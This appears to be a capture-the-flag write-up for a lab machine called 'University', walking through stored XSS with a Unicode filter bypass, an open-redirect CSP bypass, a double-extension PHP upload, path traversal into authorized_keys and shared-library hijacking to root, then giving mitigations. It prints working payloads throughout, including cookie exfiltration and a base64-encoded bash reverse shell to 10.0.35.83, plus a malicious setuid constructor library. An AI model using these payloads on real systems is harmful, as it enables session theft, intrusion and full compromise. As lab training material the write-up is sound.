Target Information
- IP Address: 172.16.2.82
- Difficulty: Medium
- Tags:
XSSUnicode NormalizationOpen RedirectFile Upload BypassPath TraversalShared Library HijackingPHPLinux
Reconnaissance
Port Scanning
Initial Nmap scan:
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap 172.16.2.82Relevant results:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd
22/tcp open ssh OpenSSH
The target exposes a PHP web application at http://university.hc.
Web Enumeration
Student-to-teacher messaging feature
The application has a messaging feature that lets students contact teachers. The question field is rendered in the teacher’s panel without adequate sanitization, making it a suitable entry point for stored XSS.
The application filters conventional HTML tags. Inspection showed that validation occurs before Unicode normalization: fullwidth Unicode characters (for example, <svg → <svg) pass the filter and are normalized to ASCII by the server or browser before rendering.
Exploitation: XSS + Open Redirect → Session Hijacking
Unicode Normalization Bypass + CSP Bypass via Open Redirect → Session Hijacking
The application sets the following CSP header:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'
default-src 'self' prevents the payload from sending the browser directly to an external domain. The workaround chains the XSS with the open redirect at /next?redirect=. Because the redirect starts at university.hc (the same origin, or 'self'), the CSP is satisfied.
The payload chains three attack vectors:
- Unicode normalization bypass: The
<svg onload=...>tag is encoded entirely with fullwidth Unicode characters to evade the input filter. The server (or browser) normalizes them to ASCII before rendering. - CSP bypass through an open redirect: The
onloadhandler setswindow.locationto/next?redirect=%09http://10.0.35.83:8888/?c='+document.cookie. The%09(tab) before the absolute URL bypasses redirect validation (which likely checks whether the value starts with/). The redirect originates from the same origin, so CSP allows it. - Cookie exfiltration: After the intermediate redirect through
university.hc, the browser is sent to the attacker’s server with the teacher’s sessiondocument.cookiein the query string.
Message submission script:
import requests
data = {
"subject": "xss",
"question": "%EF%BC%9C%EF%BD%93%EF%BD%96%EF%BD%87+%EF%BD%8F%EF%BD%8E%EF%BD%8C%EF%BD%8F%EF%BD%81%EF%BD%84%EF%BC%9D%EF%BC%82%EF%BD%97%EF%BD%89%EF%BD%8E%EF%BD%84%EF%BD%8F%EF%BD%97%EF%BC%8E%EF%BD%8C%EF%BD%8F%EF%BD%83%EF%BD%81%EF%BD%94%EF%BD%89%EF%BD%8F%EF%BD%8E%EF%BC%9D%EF%BC%87%EF%BC%8F%EF%BD%8E%EF%BD%85%EF%BD%98%EF%BD%94%EF%BC%9F%EF%BD%92%EF%BD%85%EF%BD%84%EF%BD%89%EF%BD%92%EF%BD%85%EF%BD%83%EF%BD%94%EF%BC%9D%EF%BC%85%EF%BC%90%EF%BC%99%EF%BD%88%EF%BD%94%EF%BD%94%EF%BD%90%EF%BC%9A%EF%BC%8F%EF%BC%8F%EF%BC%91%EF%BC%90%EF%BC%8E%EF%BC%90%EF%BC%8E%EF%BC%93%EF%BC%95%EF%BC%8E%EF%BC%98%EF%BC%93%EF%BC%9A%EF%BC%98%EF%BC%88%EF%BC%88%EF%BC%88%EF%BC%88%EF%BC%8F%EF%BC%9F%EF%BD%83%EF%BC%9D%EF%BC%87%EF%BC%8B%EF%BD%84%EF%BD%8F%EF%BD%83%EF%BD%95%EF%BD%8D%EF%BD%85%EF%BD%8E%EF%BD%94%EF%BC%8E%EF%BD%83%EF%BD%8F%EF%BD%8F%EF%BD%8B%EF%BD%89%EF%BD%85%EF%BC%82%EF%BC%9E"
}
cookies = {"PHPSESSID": "b77qkmgrefos5nih57ftoeppco"}
response = requests.post("http://university.hc/send_message", data=data, cookies=cookies)
print("Status:", response.status_code)
print("Response:", response.text[:500])HTTP listener to capture the cookie:
sudo python3 -m http.server 8888Cookie recebido:
172.16.2.82 - - [14/Mar/2026 00:32:13] "GET /?c=PHPSESSID=jnpm5snnu0toq28h9urf692slf HTTP/1.1" 200 -
Teacher cookie obtained: PHPSESSID=jnpm5snnu0toq28h9urf692slf
Exploitation: Remote Code Execution via File Upload Bypass
Extension Check Bypass with a Double Extension (.php.jpg)
With the teacher’s session, access the /professor panel. The file upload feature validates only the final extension (.jpg) without inspecting the content or detecting intermediate extensions.
Payload do webshell:
<?php system("printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMC4zNS44My80NDQ0IDA+JjEpICY=|base64 -d|bash"); ?>The Base64 value decodes to: (bash >& /dev/tcp/10.0.35.83/4444 0>&1) &
Upload request:
POST /professor HTTP/1.1
Host: university.hc
Cookie: PHPSESSID=5u3cd5k9cu6dgmvs7j9lvdm1l6
Content-Type: multipart/form-data; boundary=------------------------W95x3UFMIJ0fyYcLrwSOVw
--------------------------W95x3UFMIJ0fyYcLrwSOVw
Content-Disposition: form-data; name="meu_arquivo"; filename="shell.php.jpg"
Content-Type: image/jpeg
<?php system("printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMC4zNS44My80NDQ0IDA+JjEpICY=|base64 -d|bash"); ?>
--------------------------W95x3UFMIJ0fyYcLrwSOVw--Access the file to trigger execution:
GET http://university.hc/uploads/shell.php.jpg
Cookie: PHPSESSID=5u3cd5k9cu6dgmvs7j9lvdm1l6
Listener (penelope):
penelopeShell recebida:
[+] Got reverse shell from ip-172-16-2-82 → Assigned SessionID <1>
www-data@ip-172-16-2-82:/var/www/html/public/uploads$
Post-Exploitation: Lateral Movement via Path Traversal in an Internal API
Internal API discovery on port 8080
During enumeration as www-data, a Node.js service was found on 127.0.0.1:8080. Its /upload endpoint accepts files and allows an arbitrary filename, without path traversal sanitization.
Path Traversal Abuse to Write an SSH Key
1. Generate an RSA key pair:
ssh-keygen -t rsa -f /tmp/mykey -N "" -q2. Upload the public key to confirm the API behavior:
curl -X POST http://127.0.0.1:8080/upload -F "file=@/tmp/mykey.pub"{"message":"Document uploaded successfully","document":{"filename":"mykey.pub","size":577}}3. Exploit path traversal to overwrite the service user’s authorized_keys:
curl -X POST http://127.0.0.1:8080/upload \
-F "file=@/tmp/mykey.pub;filename=../../../../.ssh/authorized_keys"{"message":"Document uploaded successfully","document":{"filename":"../../../../.ssh/authorized_keys","size":577}}4. Log in over SSH as service:
ssh -i /tmp/mykey \
-o UserKnownHostsFile=/dev/null \
-o StrictHostKeyChecking=no \
service@localhostservice@ip-172-16-2-82:~$
Privilege Escalation: Shared Library Hijacking via sudo
Sudo permission enumeration
sudo -lPermissions found:
User service may run the following commands on ip-172-16-2-82:
(ALL) NOPASSWD: /usr/local/bin/backup_manager /tmp
The backup_manager binary dynamically loads liblogger.so. Inspection of library search paths (LD_LIBRARY_PATH, ldconfig, glibc-hwcaps) showed that /usr/local/lib/glibc-hwcaps/x86-64-v2/ is writable by service and takes priority over the standard directory.
Shared Library Hijacking with a Malicious Constructor
1. Create a shared library with a constructor that elevates privileges:
cat > /tmp/evil_logger.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void log_message(const char *msg) {}
__attribute__((constructor))
void pwn(void) {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
EOF2. Compile it as a shared library:
gcc -shared -fPIC -o /tmp/evil_logger.so /tmp/evil_logger.c3. Install it in the hwcaps directory (high load priority):
cp /tmp/evil_logger.so /usr/local/lib/glibc-hwcaps/x86-64-v2/liblogger.so4. Run backup_manager as root through sudo:
sudo /usr/local/bin/backup_manager /tmpConfirmation:
root@ip-172-16-2-82:/home/service#ROOT OBTAINED! The __attribute__((constructor)) runs automatically when the library loads, before main(), calls setuid(0), and spawns /bin/bash -p with root privileges.
Attack Chain Summary
1. Submit a message with XSS through a Unicode normalization bypass
↓
2. CSP bypass through the open redirect (/next?redirect=%09http://evil) → exfiltrate the teacher’s PHPSESSID
↓
3. Log in as the teacher → file upload bypass (.php.jpg) → RCE
↓
4. Reverse shell as www-data
↓
5. Internal service enumeration → API on port 8080
↓
6. Path traversal in /upload → write to the service user’s authorized_keys
↓
7. SSH como service
↓
8. sudo NOPASSWD → backup_manager carrega liblogger.so
↓
9. Shared Library Hijacking via glibc-hwcaps → Root
Vulnerabilities Summary
-
Stored XSS through Unicode normalization bypass
CWE-79High- The input filter validated ASCII characters but did not normalize Unicode before validation, allowing a bypass with fullwidth characters
-
Insecure File Upload (Double Extension)
CWE-434High- Extension validation checked only the final suffix, without verifying the actual content type or intermediate extensions, allowing PHP execution through
.php.jpg
- Extension validation checked only the final suffix, without verifying the actual content type or intermediate extensions, allowing PHP execution through
-
Path Traversal in the Upload API
CWE-22High- The unsanitized
filenameparameter in the internal API (port 8080) allows arbitrary file writes
- The unsanitized
-
Shared Library Hijacking via sudo
CWE-426Critical- The sudo-executed binary loads
liblogger.sofrom a directory writable byservice, allowing arbitrary code execution as root
- The sudo-executed binary loads
Technical Analysis
glibc-hwcaps and Library Loading Priority
Technology: glibc dynamic linker with hardware capabilities (hwcaps) support
The Linux dynamic linker (ld.so) loads libraries according to a priority order. glibc-hwcaps directories allow optimized library versions to be distributed for specific architectures. The x86-64-v2 path takes priority over the system’s standard library paths.
Attack chain:
sudo backup_managerruns as root with a cleanLD_LIBRARY_PATH(because ofenv_reset), but the hwcaps directory still takes priority- The linker searches
/usr/local/lib/glibc-hwcaps/x86-64-v2/forliblogger.sobefore/usr/local/lib/. - The
pwn()constructor is invoked automatically before the binary’smain() setuid(0)+system("/bin/bash -p")escalates to root
Mitigation Recommendations
Application Level
- Fix the XSS — Normalize Unicode before validation and sanitize output:
- Apply NFKC normalization before any input validation
- Remove
unsafe-inlinefrom the CSP and use nonces or hashes for legitimate scripts - Fix the open redirect in
/next— validate thatredirectpoints only to relative paths or allowlisted domains, and normalize the value (strip whitespace, including tabs\t) before validation - Escape all reflected and stored output with
htmlspecialchars()
// Normalize and sanitize input
$input = normalizer_normalize($input, Normalizer::FORM_KC);
$input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// Validate redirect — strip whitespace and check the origin
$redirect = trim($_GET['redirect']);
$allowed = parse_url('http://university.hc', PHP_URL_HOST);
$target = parse_url($redirect, PHP_URL_HOST);
if ($target && $target !== $allowed) {
die("Redirect not allowed.");
}- Fix file uploads — Validate content, not extensions:
- Check the actual MIME type with
finfo_file() - Rename uploaded files to names without executable extensions
- Never serve uploads from the application’s origin
- Check the actual MIME type with
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $tmpFile);
if ($mimeType !== 'image/jpeg') {
die("File type not allowed.");
}
// Save with a safe filename
$safeName = bin2hex(random_bytes(16)) . '.jpg';- Fix path traversal in the internal API:
- Sanitize
filenameby removing../and validating it against a base directory - Use
basename()and verify that the resulting path is inside the permitted directory
- Sanitize
const path = require('path');
const uploadDir = '/var/uploads';
const safeName = path.basename(filename);
const finalPath = path.join(uploadDir, safeName);
if (!finalPath.startsWith(uploadDir)) {
throw new Error('Path traversal detected');
}System Level
- Fix privilege escalation through sudo:
- Remove sudo permission from
backup_manageror restrict it withSETENVdisabled - Ensure that library directories used by sudo-privileged binaries are not writable by non-root users
- Remove sudo permission from
# Check permissions
ls -la /usr/local/lib/glibc-hwcaps/x86-64-v2/
# Fix permissions
chown root:root /usr/local/lib/glibc-hwcaps/x86-64-v2/
chmod 755 /usr/local/lib/glibc-hwcaps/x86-64-v2/-
Implement additional security controls:
- Configure AppArmor/SELinux to confine
backup_manager - Apply least privilege —
backup_managershould not need root privileges - Enable
noexecon upload partitions and/tmp
- Configure AppArmor/SELinux to confine
-
Monitoring and Logging:
- Audit
sudocalls withauditd - Monitor file creation and modification in system library directories
- Alert on access to
/uploads/*.php*on the web server
- Audit
Tools Used
- nmap - Port scanning and service fingerprinting
- penelope - Reverse shell handler with advanced features
- curl - Manual interaction with HTTP APIs
- python3 http.server - HTTP server for cookie exfiltration through XSS
- gcc - Compilation of the malicious shared library
Proof of Concept Scripts
XSS payload decoder (Unicode payload analysis)
#!/usr/bin/env python3
from urllib.parse import unquote
import unicodedata
encoded = "%EF%BC%9C%EF%BD%93%EF%BD%96%EF%BD%87+%EF%BD%8F%EF%BD%8E%EF%BD%8C%EF%BD%8F%EF%BD%81%EF%BD%84%EF%BC%9D..."
decoded = unquote(encoded)
normalized = unicodedata.normalize('NFKC', decoded)
print("Unicode fullwidth:", decoded)
print("After NFKC normalization:", normalized)Exploitation script — path traversal SSH key injection
#!/usr/bin/env python3
import subprocess
import requests
TARGET_INTERNAL = "http://127.0.0.1:8080"
SSH_KEY_PATH = "/tmp/mykey"
TARGET_USER = "service"
# Generate an SSH key
subprocess.run(["ssh-keygen", "-t", "rsa", "-f", SSH_KEY_PATH, "-N", "", "-q"])
pub_key = SSH_KEY_PATH + ".pub"
# Exploit path traversal
with open(pub_key, "rb") as f:
files = {"file": ("../../../../home/service/.ssh/authorized_keys", f, "text/plain")}
r = requests.post(f"{TARGET_INTERNAL}/upload", files=files)
print("Status:", r.status_code)
print("Resposta:", r.json())
print(f"\n[+] Tente: ssh -i {SSH_KEY_PATH} service@<TARGET_IP>")Flags
User Flag: /home/service/user.txt
Root Flag: /root/root.txt
References
XSS & Unicode
File Upload
Path Traversal
Shared Library Hijacking
Author: cbxcvl Date: March 14, 2026 Machine: University Release Date: March 14, 2026